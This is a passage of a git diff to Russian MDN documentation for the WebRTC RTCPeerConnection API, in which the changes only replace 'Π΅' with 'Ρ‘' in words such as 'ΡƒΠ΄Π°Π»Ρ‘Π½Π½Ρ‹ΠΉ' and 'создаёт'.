<p>Для измСнСния значСния свойства <code>currentRemoteDescription</code>, Π²Ρ‹Π·ΠΎΠ²ΠΈΡ‚Π΅ ΠΌΠ΅Ρ‚ΠΎΠ΄ {{domxref("RTCPeerConnection.setRemoteDescription()")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ запускаСт ΡΠ΅Ρ€ΠΈΡŽ событий, приводящих к установкС Π½ΠΎΠ²ΠΎΠ³ΠΎ значСния. ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅Β ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Ρ‚ΠΎΡ‡Π½ΠΎ происходит ΠΈ ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ значСния Π½Π΅ происходит Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ, смотритС {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "ΠžΠΆΠΈΠ΄Π°ΡŽΡ‰ΠΈΠ΅ ΠΈ Ρ‚Π΅ΠΊΡƒΡ‰ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ описания")}}.</p>
@@ -19,7 +19,7 @@ translation_of: Web/API/RTCPeerConnection/currentRemoteDescription
<h3 id="Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅_Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h3>
-<p>Π’Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ описания, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΡƒΠ΄Π°Π»Π΅Π½Π½ΡƒΡŽ сторону соСдинСния, Ссли ΠΎΠ½Π° присутствуСт. Если Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ описания Π½Π΅ установлСн, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚Β <code>null</code>.</p>
+<p>Π’Π΅ΠΊΡƒΡ‰ΠΈΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ описания, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΡƒΡŽ сторону соСдинСния, Ссли ΠΎΠ½Π° присутствуСт. Если Π½ΠΈ ΠΎΠ΄ΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ описания Π½Π΅ установлСн, Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ Π±ΡƒΠ΄Π΅Ρ‚Β <code>null</code>.</p>
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
diff --git a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html
index 8bd86fa3e5..4cf9d46d46 100644
--- a/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html
+++ b/files/ru/web/api/rtcpeerconnection/icecandidate_event/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event
---
<div>{{WebRTCSidebar}}</div>
-<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <strong><code>icecandidate</code></strong> отправляСтся {{domxref("RTCPeerConnection")}} ΠΊΠΎΠ³Π΄Π° {{domxref("RTCIceCandidate")}} Π±Ρ‹Π» ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ ΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ (localΒ peer) Ρ‡Π΅Ρ€Π΅Π· Π²Ρ‹Π·ΠΎΠ²Β {{domxref("RTCPeerConnection.setLocalDescription()")}}. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события долТСн ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ (remoteΒ peer) ΠΏΠΎ ΠΊΠ°Π½Π°Π»Ρƒ сигнализации (signaling channel), Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ (remote peer) ΡΠΌΠΎΠ³Β Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² свой Π½Π°Π±ΠΎΡ€ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹Ρ… ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² (remote candidates).</p>
+<p>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅Β <strong><code>icecandidate</code></strong> отправляСтся {{domxref("RTCPeerConnection")}} ΠΊΠΎΠ³Π΄Π° {{domxref("RTCIceCandidate")}} Π±Ρ‹Π» ΠΈΠ΄Π΅Π½Ρ‚ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Π½ ΠΈ Π΄ΠΎΠ±Π°Π²Π»Π΅Π½ ΠΊ Π»ΠΎΠΊΠ°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ (localΒ peer) Ρ‡Π΅Ρ€Π΅Π· Π²Ρ‹Π·ΠΎΠ²Β {{domxref("RTCPeerConnection.setLocalDescription()")}}. ΠžΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ события долТСн ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ (remoteΒ peer) ΠΏΠΎ ΠΊΠ°Π½Π°Π»Ρƒ сигнализации (signaling channel), Ρ‡Ρ‚ΠΎΠ±Ρ‹Β ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ (remote peer) ΡΠΌΠΎΠ³Β Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ Π΅Π³ΠΎ Π² свой Π½Π°Π±ΠΎΡ€ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹Ρ… ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ² (remote candidates).</p>
<table class="properties">
<tbody>
@@ -34,7 +34,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event
<h3 id="ДСлимся_Sharing_Π½ΠΎΠ²Ρ‹ΠΌ_ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠΌ">ДСлимся (Sharing) Π½ΠΎΠ²Ρ‹ΠΌ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠΌ</h3>
-<p>Π’ основном события <code>icecandidate</code> происходят, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ был построСн (gathered). Π­Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ (remote peer) Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ°Π½Π°Π» сигнализации (signaling channel),Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ управляСт ваш ΠΊΠΎΠ΄.</p>
+<p>Π’ основном события <code>icecandidate</code> происходят, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½ΠΎΠ²Ρ‹ΠΉ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ был построСн (gathered). Π­Ρ‚ΠΎΠ³ΠΎ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° Π½ΡƒΠΆΠ½ΠΎ Π΄ΠΎΡΡ‚Π°Π²ΠΈΡ‚ΡŒ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΊΠ»ΠΈΠ΅Π½Ρ‚Ρƒ (remote peer) Ρ‡Π΅Ρ€Π΅Π· ΠΊΠ°Π½Π°Π» сигнализации (signaling channel),Β ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ управляСт ваш ΠΊΠΎΠ΄.</p>
<pre class="brush: js notranslate">rtcPeerConnection.onicecandidate = (event) =&gt; {
if (event.candidate) {
@@ -45,7 +45,7 @@ translation_of: Web/API/RTCPeerConnection/icecandidate_event
}
</pre>
-<p>Π£Π΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ (peer), ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ² ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π°, Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ этого ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° Π² свой ΠΏΡƒΠ» ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Ρ‹Π·ΠΎΠ² {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, пСрСдавая Π² {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСрвСра сигнализации (signaling server).</p>
+<p>Π£Π΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΊΠ»ΠΈΠ΅Π½Ρ‚ (peer), ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ² ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π°, Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ этого ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° Π² свой ΠΏΡƒΠ» ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚ΠΎΠ², ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Ρ‹Π·ΠΎΠ² {{domxref("RTCPeerConnection.addIceCandidate", "addIceCandidate()")}}, пСрСдавая Π² {{domxref("RTCPeerConnectionIceEvent.candidate", "candidate")}} строку, ΠΊΠΎΡ‚ΠΎΡ€ΡƒΡŽ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π»ΠΈ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ сСрвСра сигнализации (signaling server).</p>
<h3 id="Indicating_the_end_of_a_generation_of_candidates">Indicating the end of a generation of candidates</h3>
diff --git a/files/ru/web/api/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/index.html
index 5103da41dc..676d536252 100644
--- a/files/ru/web/api/rtcpeerconnection/index.html
+++ b/files/ru/web/api/rtcpeerconnection/index.html
@@ -5,7 +5,7 @@ translation_of: Web/API/RTCPeerConnection
---
<p>{{APIRef('WebRTC')}}</p>
-<p><span class="seoSummary">Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>RTCPeerConnection</code></strong> прСдставляСт соСдинСниС WebRTC ΠΌΠ΅ΠΆΠ΄Ρƒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ (участником соСдинСния) Π½Π° локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ Π½Π° ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Он прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для соСдинСния с ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΌ участником соСдинСния, обслуТивания,Β ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΈ закрытия соСдинСния.</span></p>
+<p><span class="seoSummary">Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡΒ <strong><code>RTCPeerConnection</code></strong> прСдставляСт соСдинСниС WebRTC ΠΌΠ΅ΠΆΠ΄Ρƒ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ (участником соСдинСния) Π½Π° локальном ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅ ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΏΠΈΡ€ΠΎΠΌ Π½Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌ ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Он прСдоставляСт ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹ для соСдинСния с ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΌ участником соСдинСния, обслуТивания,Β ΠΌΠΎΠ½ΠΈΡ‚ΠΎΡ€ΠΈΠ½Π³Π° ΠΈ закрытия соСдинСния.</span></p>
<p>{{InheritanceDiagram}}</p>
@@ -17,7 +17,7 @@ translation_of: Web/API/RTCPeerConnection
<dl>
<dt>{{domxref("RTCPeerConnection.createDTMFSender()")}} {{obsolete_inline}}</dt>
- <dd>Π‘ΠΎΠ·Π΄Π°Π΅Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{domxref("RTCDTMFSender")}}, связанный с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ {{domxref("MediaStreamTrack")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ смоТСт ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ сигнализации {{Glossary("DTMF")}} ΠΏΠΎΠ²Π΅Ρ€Ρ… соСдинСния..</dd>
+ <dd>Π‘ΠΎΠ·Π΄Π°Ρ‘Ρ‚ Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° {{domxref("RTCDTMFSender")}}, связанный с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌΒ {{domxref("MediaStreamTrack")}}, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ смоТСт ΠΎΡ‚ΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ сигнализации {{Glossary("DTMF")}} ΠΏΠΎΠ²Π΅Ρ€Ρ… соСдинСния..</dd>
</dl>
<h2 id="Бобытия">Бобытия </h2>
@@ -29,10 +29,10 @@ translation_of: Web/API/RTCPeerConnection
<dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°Β <code>RTCPeerConnection</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΠΎΠ±Ρ‰ΠΈΠΉ статус ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° соСдинСния <code>RTCPeerConnection</code> измСнился.<br>
Π’Π°ΠΊ ΠΆΠ΅, доступно чСрСз свойство установки ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события  {{domxref("RTCPeerConnection.onconnectionstatechange", "onconnectionstatechange")}}.</dd>
<dt>{{domxref("RTCPeerConnection.datachannel_event", "datachannel")}}</dt>
- <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΡƒΠ΄Π°Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ (участник соСдинСния) добавляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΄Π°Π½Π½Ρ‹Ρ… {{domxref("RTCDataChannel")}}Β  Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ соСдинСниС.<br>
+ <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° ΡƒΠ΄Π°Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΠΈΡ€ (участник соСдинСния) добавляСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Π΄Π°Π½Π½Ρ‹Ρ… {{domxref("RTCDataChannel")}}Β  Π² Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ соСдинСниС.<br>
Π’Π°ΠΊ ΠΆΠ΅, доступно чСрСз свойство установки ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события {{domxref("RTCPeerConnection.ondatachannel", "ondatachannel")}}.</dd>
<dt>{{domxref("RTCPeerConnection.icecandidate_event", "icecandidate")}}</dt>
- <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π°Β  ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ICEΒ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>) сгСнСрирован <code>RTCPeerConnection</code>Β ΠΈ Π³ΠΎΡ‚ΠΎΠ² для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΡƒΠ΄Π°Π»Π΅Π½Π½ΠΎΠΌΡƒ ΠΏΠΈΡ€Ρƒ ΠΏΠΎ ΠΊΠ°Π½Π°Π»Ρƒ сигнализации.Π‘Π°ΠΌ сгСнСрированный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° пСрСдаСтся в ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π²Ρ‹Π·Π²Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°.Β <br>
+ <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π°Β  ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ICEΒ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>) сгСнСрирован <code>RTCPeerConnection</code>Β ΠΈ Π³ΠΎΡ‚ΠΎΠ² для ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‡ΠΈ ΡƒΠ΄Π°Π»Ρ‘Π½Π½ΠΎΠΌΡƒ ΠΏΠΈΡ€Ρƒ ΠΏΠΎ ΠΊΠ°Π½Π°Π»Ρƒ сигнализации.Π‘Π°ΠΌ сгСнСрированный ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° пСрСдаётся в ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ Π²Ρ‹Π·Π²Π°Π½Π½ΠΎΠ³ΠΎ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ°.Β <br>
Π’Π°ΠΊ ΠΆΠ΅, доступно чСрСз свойство установки ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события {{domxref("RTCPeerConnection.onicecandidate", "onicecandidate")}}.</dd>
<dt>{{domxref("RTCPeerConnection.icecandidateerror_event", "icecandidateerror")}}</dt>
<dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ Ρ‚ΠΈΠΏΠ° ошибки  {{domxref("RTCPeerConnectionIceErrorEvent")}} , Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π΅ соСдинСния при Π³Π΅Π½Π΅Ρ€Π°Ρ†ΠΈΠΈ ICEΒ ΠΊΠ°Π½Π΄ΠΈΠ΄Π°Ρ‚Π° (<a href="https://developer.mozilla.org/en-US/docs/Web/API/RTCIceCandidate">RTCIceCandidate</a>), Ссли ΠΏΡ€ΠΈ этом Π²ΠΎΠ·Π½ΠΈΠΊΠ»Π° ошибка. Бвойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ошибки, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ³ΠΎ Π² ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊ,Β  ΠΎΠΏΠΈΡΡ‹Π²Π°ΡŽΡ‚ подробности ошибки.<br>
@@ -41,10 +41,10 @@ translation_of: Web/API/RTCPeerConnection
<dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚ ΠΏΡ€ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΈ статуса ICE соСдинСния. К ΠΏΡ€ΠΈΠΌΠ΅Ρ€Ρƒ, <a href="https://developer.mozilla.org/en-US/docs/Glossary/ICE">ICE</a> соСдинСниС Ρ€Π°Π·ΠΎΡ€Π²Π°Π½ΠΎ.<br>
Π’Π°ΠΊ ΠΆΠ΅, доступно чСрСз свойство установки ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° события{{domxref("RTCPeerConnection.oniceconnectionstatechange", "oniceconnectionstatechange")}} .</dd>
<dt>{{domxref("RTCPeerConnection.icegatheringstatechange_event", "icegatheringstatechange")}}</dt>
- <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection,</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° статус сборки, прСдставлСнный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, измСняСтся. Π­Ρ‚ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ :  согласованиС соСдинСния ICE Π΅Ρ‰Π΅ Π½Π΅ Π½Π°Ρ‡Π°Π»ΠΎΡΡŒ (статус Ρ€Π°Π²Π΅Π½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ "<code>new</code>"); согласованиС соСдинСния ICE Π½Π°Ρ‡Π°Π»ΠΎΡΡŒ (статус Ρ€Π°Π²Π΅Π½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ "<code>gathering</code>"); согласованиС ICEΒ  соСдинСния Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ (статус Ρ€Π°Π²Π΅Π½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ "<code>complete</code>").<br>
+ <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection,</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° статус сборки, прСдставлСнный классом {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}}, измСняСтся. Π­Ρ‚ΠΎ ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ :  согласованиС соСдинСния ICE Π΅Ρ‰Ρ‘ Π½Π΅ Π½Π°Ρ‡Π°Π»ΠΎΡΡŒ (статус Ρ€Π°Π²Π΅Π½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ "<code>new</code>"); согласованиС соСдинСния ICE Π½Π°Ρ‡Π°Π»ΠΎΡΡŒ (статус Ρ€Π°Π²Π΅Π½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ "<code>gathering</code>"); согласованиС ICEΒ  соСдинСния Π·Π°Π²Π΅Ρ€ΡˆΠ΅Π½ΠΎ (статус Ρ€Π°Π²Π΅Π½ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ "<code>complete</code>").<br>
Π’Π°ΠΊ ΠΆΠ΅, доступно чСрСз свойство установки ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}} .</dd>
<dt>{{domxref("RTCPeerConnection.isolationchange_event", "isolationchange")}}</dt>
- <dd>Π‘ΠΎΠ±Ρ‹Ρ‚ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>RTCPeerConnection</code>Β Π²ΠΎΠ·Π½ΠΈΠΊΠ°Π΅Ρ‚, ΠΊΠΎΠ³Π΄Π° свойство {{domxref("MediaStreamTrack.isolated", "isolated")}} Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ²Β  {{domxref("MediaStreamTrack")}} , связанного с соСдинСниСм измСняСт своС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅. ΠžΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚Ρ€Π΅ΠΊΠ° являСтся ΠΈΠ·ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ {{domxref("MediaStreamTrack.isolated", "isolated")}}, Ссли Π΅Π³ΠΎ содСрТимоС Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ доступно содСрТащСму Сго Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ, ΠΏΠΎ ΠΏΡ€ΠΈΡ‡ΠΈΠ½Π΅ нСвозмоТности Π°ΡƒΡ‚Π΅Π½Ρ‚ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ, ΠΈΠ»ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚Ρ€Π΅ΠΊΠ° ΠΏΡ€ΠΈΠ±Ρ‹Π» Π½Π΅ ΠΈΠ· источника происхоТдСния страницы.<br>
